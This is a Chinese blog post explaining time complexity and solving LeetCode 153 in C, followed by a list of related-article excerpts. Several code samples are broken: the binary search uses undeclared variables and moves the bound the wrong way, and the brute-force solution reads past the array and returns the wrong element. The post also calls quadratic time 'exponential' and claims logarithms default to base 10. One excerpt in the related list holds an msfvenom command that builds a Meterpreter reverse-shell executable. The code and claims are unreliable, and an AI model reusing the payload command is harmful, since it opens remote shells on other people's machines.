【C语言】【时间复杂度】Leetcode 153. 寻找旋转排序数组中的最小值

文章目录

  • 题目
  • 时间复杂度
    • 概念
    • 时间复杂度的计算
  • 解题思路
  • 代码呈现


题目

链接: link
在这里插入图片描述

时间复杂度

概念

时间复杂度是一种函数,定量地描述了该算法运行的时间。既然是一种函数,就涉及到自变量与因变量。因变量代表是时间复杂的规模,自变量是时间复杂度的执行时间。这里的执行时间并不是秒,分钟这类的具体时间 ,它表示的是一种“执行次数”。要想计算时间复杂度首先得找到该算法中的循环,算法中循环执行的次数就是算法的时间复杂度

算法的时间复杂度的具体表示为:用大写的 O 来体现算法时间复杂度如O(f(n)),称之为 大 O 记数法。

时间复杂度的计算

注:可以理解为最坏情况下,算法的最高量级

一,单层for循环(线性阶

判断一个数是偶数还是奇数,只需要求它除上 2 的余数是 0 还是 1,把所有数都判断一遍,并且对符合条件的情况进行计数,最后返回这个计数器就是答案,需要遍历所有的数,因此代码为:

int count(int n, int a[]) {int cnt = 0;for(int i = 0; i < n; ++i) {if(a[i] % 2)++cnt;}return cnt;
}

我们可以发现这里的算法只有一层fo循环,执行过程中需要遍历n遍,所以这里的时间复杂度为O(n)。


二 ,多层for循环(指数阶

int fun(int n)
{int cnt = 0;for(int i = 0;i < n;i++){for(int j = 0; j<n; j++){cnt++; }}//两层循环,每次循环n次,因此为n*nfor(int k = 0; k<n; k++){++cnt;}//一层循环,循环n次for(int l = 0;l<10;l++){++cnt;}//一层循环,循环10次return cnt;
}

这里假如把所有的循环都算进去的话,时间复杂度就是O(nn+n+10),但是我们并不能这样写。这是因为对于时间复杂度我们不需算出精确的数字,只需要算出这个算法属于什么量级即可。
所以在这里,为知道这个算法两级为多少,我们将字母n取为无穷大,这样10就无足轻重,然后时间复杂度就变成O(n
n+n),又因为nn远大于n,原式也可以表达成n(n+1),即使-1也无关紧要,所以时间复杂度演变成O(n*n)。这就是大O渐近表示法,只是一种量级的估算,而不是准确的值。


三,冒泡排序(指数阶

void bubblesort(int* a,int n)
{assert(a);
for(int end = n; end>0; end--){int exchange = 0;for(int i = 1; i<end; i++){if(a[i-1]>a[i]){swap(&a[i],&a[i-1]);exchange = 1;}}if(exchange==0)break;}
}

在这里我们会发现这边不是简单的两层for循环,而是呈现一个等差数列,第一次循环第一次循环n-1次,第二次n-2次…一直到1,如果这样的话,难道时间复杂度就要写成O(n*(n+1)/2)了吗。
然而并不用,通过上面的例子我们看出,我们所采用大O渐近表示法去掉了对结果影响不大的项,并且在实际情况中一般只关注算法的最坏运行情况。
因此这里的算法复杂度只要把一些加法常数、保留最高项就行,例如在上述冒泡排序中,如果给定的数组就已经是有序的了,那么就是它的最好情况,时间复杂度为O(N).但是如果有非常多的数据很显然我们看不出它到底是否为最好情况,所以我们必须用最坏的期望来计算所以它是O(N*N).


四,指定常数循环(常数阶

int fun(int n)
{int i = 0;int cnt = 0;for( i; i<100;i++){cnt++;}return cnt;
}

此时时间复杂度为O(1),这里的1不是指一次,而是常数次,该循环执行了100次,不管n多大,他都执行100次,所以是O(1)


五,二分查找(对数阶

int binary(int n, int a[], int k) 
{int left = 0, right = n - 1;while(l <= r) {mid = (l + r)/2;if(a[mid] == k) return mid;else if(a[mid] < k)right = mid + 1;elseleft = mid + 1;}return -1;
}

常见于二分查找中在有序数组中查找目标元素的算法。每次查找都将目标元素与数组中间的元素进行比较,如果相等则返回,如果目标元素小于中间元素,则在左半部分继续查找,否则在右半部分继续查找。每次查找都将搜索范围缩小一半
先找n/2,n/4,n/8一直到n等于1

因为这种算法,每多一次循环相当于,循环地覆盖范围变成了2^n,因此我们可以推出这个算法的时间复杂度为O( l o g 2 x log_{2}x log2x)


由此我们可以得出结论

1.去除表达式中所有加法常数
2.修改的表达式中只保留最高阶项,因为只有它对最终结果产生影响
3.如果最高阶项系数存在且不是1,则将其系数变为1,得出最后的表达式
4.如果循环过程中只有常数时,,取常数次为时间复杂度

常见的时间复杂度

线性阶就像上面第一题一样,只有一层循环,时间复杂度随n的增大线性增加,函数在图像上表示为一条经过原点的直线,O(N)
指数阶指数阶一般是算法题的暴力解法,一般是多层循环的嵌套,例如上面题二中,最大是两层n次循环的嵌套,因此时间复杂度为O(N^2),n的平方次
常数阶函数内循环为常数次或者没有循环,例如上面第四题,时间复杂度为O(1)
对数阶表示算法的时间复杂度与输入模 n 的对数成正比,其中对数的底数未指定,默认为2,10或e,根据具体情况而定。这意味着算法的运行随着输入规模的增加而增加但增长速度较慢。


解题思路

题目中要求我们把时间复杂度控制在O(log⁡n)里面,一般来说,这里的时间复杂度在没有设置底数的时候我们默认为10,这种算法随n增长较缓慢。

对于题目中找到最小的元素,我们第一个想到的就是最最暴力的冒泡排序,一个一个数遍历。

int findMin(int* nums, int numsSize) {int count = 1;for (int i = 0; i < numsSize; i++) {if (nums[i + 1] > nums[i])count++;elsebreak;}return nums[count];
}

这种方法固然可行,但是此时的时间复杂度为O(n),比O( l o g 2 x log_{2}x log2x)大,对于算法复杂度的大小比较我们可以看成x随y的变换量,所以我们可以直观地知道这种粗暴的排序方法是不能够满足条件的,因此我们可以转变为二分查找,这种方法恰好符合题目所要求的时间复杂度

在这里插入图片描述
小tip:https://www.geogebra.org/download 是个很好的数学软件,可以画出函数等数学模型,更加直观便捷地感受数据


重新整理本题,一个不包含重复元素的升序数组在经过旋转之后,可以得到下面可视化的折线图
在这里插入图片描述

其中横轴表示数组元素的下标,纵轴表示数组元素的值。而图中标出了最小值的位置,就是我们需要查找的目标。

倘若使用二分查找的方法,我们就我们考虑数组中的最后一个元素 xxx:在最小值右侧的元素(不包括最后一个元素本身),它们的值一定都严格小于 xxx;而在最小值左侧的元素,它们的值一定都严格大于 xxx。因此,我们可以根据这一条性质,通过二分查找的方法找出最小值。

代码呈现

前者是基于left与right索引相同时出结果,即二分查找到数组只剩一个元素,然后直接输出left或right就行

int findMin(int* nums, int numsSize) {int left = 0;int right = numsSize - 1;while(left < right){int mid = (left + right) / 2;if (nums[mid] < nums[right])right = mid;elseleft = mid + 1;}return nums[left];//因为此时left与right的索引一致
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/749444.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

易方达产品亏损仍存,“老鼠仓”阴影犹在,如何突出重围?

近日&#xff0c;易方达基金宣布易方达沪深300 ETF跻身“千亿规模ETF”行列&#xff0c;成为国内“ETF千亿俱乐部”的第三位成员。截至3月8日&#xff0c;该基金的规模增长112.21亿元&#xff0c;涨幅9.45%&#xff0c;规模增量在10亿以上的股票型ETF产品中排名第一。 回望202…

小兔鲜鲜项目(前端vue3)

成果图 大家喜欢给一个赞被&#xff0c; 项目地址&#xff1a;gitee 注意&#xff1a;项目克隆下去之后先运行 npm i之后安装项目插件包之后在npm run dev 运行就可以了

友塔游戏测试开发笔面经验

题目一 给定任意非负整数M&#xff0c;判断其能否表达为 M 2 ^a 2 ^b(a和b为非负整数)&#xff0c;若可以输出a和b&#xff0c;若不能输出-1&#xff1b; 例如&#xff1a; 输入&#xff1a;6 输出: “1 2” 分析&#xff1a; void findAB(int M){} 为解决问题的主函数 …

Avalonia学习1:下载通用皮肤SukiUI,并在windows上启动成功

目录 1、引言 2、碰到的问题 1、下载下拉VS2022老版本的用不了。 2、升级后&#xff0c;发现没有装wsl&#xff0c;导致启动不了&#xff0c;但wsl又由于国内的关系安装不了&#xff0c;怎么办呢&#xff0c; 1、引言 最近在想有没有什么可以开发在Linux下运行…

SQLite数据库使用指南以及相关API编程

SQLite介绍 SQLite是一种基于C语言开发的轻量级、快速、自包含、高可靠性和全功能的SQL数据库引擎。它是全球范围内使用最为广泛的数据库引擎&#xff0c;被嵌入到所有移动设备和大部分计算机中&#xff0c;并且伴随着无数日常使用的应用程序一起提供。SQLite的文件格式具有稳…

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

Pikachu 靶场搭建

文章目录 环境说明1 Pikachu 简介2 Pikachu 安装 环境说明 操作系统&#xff1a;Windows 10PHPStudy 版本: 8.1.1.3Apache 版本&#xff1a;2.4.39MySQL 版本 5.7.26 1 Pikachu 简介 Pikachu是一个使用“PHP MySQL” 开发、包含常见的Web安全漏洞、适合Web渗透测试学习人员练…

Leet code 179 最大数

解题思路 贪心算法 贪心算法就是走一步看一步 每一步都取当前位置的最优解 这题我们该如何贪呢&#xff1f; 我们先把int数组转换为string数组 以示例2为例 3 30 34 5 9 排序哪个在前哪个在后&#xff1f; 3 30 &#xff08;330&#xff09;> 30 3 &#xff08;30…

【Poi-tl Documentation】区块对标签显示隐藏改造

前置说明&#xff1a; <dependency><groupId>com.deepoove</groupId><artifactId>poi-tl</artifactId><version>1.12.1</version> </dependency>模板&#xff1a; 删除行表格测试.docx 改造前测试效果 package run.siyuan…

宠物疾病 与 光线疗法

人类与动物以及大自然是相辅相成的。人离开动物将无法生存&#xff0c;对于动物我们尽力去保护&#xff0c;与大自然和谐稳定生存发展。 生息在地球上的所有动物、在自然太阳光奇妙的作用下、生长发育。太阳光的能量使它们不断进化、繁衍种族。现在、生物能够生存、全仰仗于太…

【Python使用】python高级进阶知识md总结第4篇:静态Web服务器-命令行启动动态绑定端口号,html 的介绍【附代码文档】

python高级进阶全知识知识笔记总结完整教程&#xff08;附代码资料&#xff09;主要内容讲述&#xff1a;操作系统&#xff0c;虚拟机软件&#xff0c;Ubuntu操作系统&#xff0c;Linux内核及发行版&#xff0c;查看目录命令&#xff0c;切换目录命令&#xff0c;绝对路径和相对…

Linux 安装 Gitblit

1.下载Gitblit 官网地址&#xff1a;Gitblit&#xff0c;目前最新的是1.9.3 2.上传到服务器 ①在服务器上新建目录&#xff1a;/usr/local/gitblit ②将下载的文件上传到服务器&#xff1a;/usr/local/gitblit/gitblit-1.9.3.tar.gz ③解压文件&#xff1a; cd /usr/local…

12、MongoDB -- 通过 SpringBoot 整合 Spring Data MongoDB 操作 MongoDB 数据库(传统的同步API编程)

目录 通过 SpringBoot 整合 Spring Data MongoDB 操作 MongoDB 数据库&#xff08;传统的同步API编程&#xff09;演示前提&#xff1a;登录单机模式的 mongodb 服务器命令登录【test】数据库的 mongodb 客户端命令登录【admin】数据库的 mongodb 客户端命令 代码演示同步API编…

欧科云链:比特币现货ETF后时代,链上数据揭示真实供需关系

出品&#xff5c;欧科云链研究院 作者&#xff5c;Hedy Bi 本文于3月11日首发TechFlow深潮&#xff0c;原标题为《比特币现货ETF通过后的2个月&#xff1a;链上数据揭示BTC供不应求》。文中观点纯属笔者基于链上数据进行分析&#xff0c;不构成对任何潜在投资目标的推荐或意见…

双指针、bfs与图论

1238. 日志统计 - AcWing题库 import java.util.*;class PII implements Comparable<PII>{int x, y;public PII(int x, int y){this.x x;this.y y;}public int compareTo(PII o){return Integer.compare(x, o.x);} }public class Main{static int N 100010, D, K;st…

数字电子技术实验(四)

单选题 1.组合逻辑电路中产生竞争冒险的原因是&#xff1f; A. 电路没有最简化 。 B. 时延 。 C. 电路有多个输出。 D. 逻辑门的类型不同。 答案&#xff1a;B 评语&#xff1a;10分 单选题 2.下列表达式不存在竞争冒险的有&#xff1f; 答案&#xff1a;A 评语&#x…

深度强化学习(七)策略梯度

深度强化学习(七)策略梯度 策略学习的目的是通过求解一个优化问题&#xff0c;学出最优策略函数或它的近似函数&#xff08;比如策略网络&#xff09; 一.策略网络 假设动作空间是离散的,&#xff0c;比如 A { 左 , 右 , 上 } \cal A\{左,右,上\} A{左,右,上}&#xff0c;策…

【零基础学习06】嵌入式linux驱动中PWM驱动基本实现

大家好,今天给大家分享一下,如何利用PWM外设来实现LCD背光调节,本次实验使用Linux系统中PWM控制器以及PWM子系统来控制对应的功能。 第一:设备树下PWM控制节点 PWM对应的节点信息如下: pwm3: pwm@02088000 {compatible = "fsl,imx6ul-pwm", "fsl,imx27-pwm…

操作系统系列学习——一个实际的schedule函数

文章目录 前言一个实际的schedule函数 前言 一个本硕双非的小菜鸡&#xff0c;备战24年秋招&#xff0c;计划学习操作系统并完成6.0S81&#xff0c;加油&#xff01; 本文总结自B站【哈工大】操作系统 李治军&#xff08;全32讲&#xff09; 老师课程讲的非常好&#xff0c;感…

我打算修一段时间仙,望周知

1、大科学家牛顿也修过仙&#xff0c;虽然修的是西方的仙&#xff1b;我们东方人不信那个邪&#xff0c;有自己优秀的传统文化&#xff0c;我只修东方的仙&#xff1b;另外&#xff0c;作为普通凡人我成就和智慧都无法望牛顿老人家项背的普通人&#xff0c;即使现在暂时“修仙”…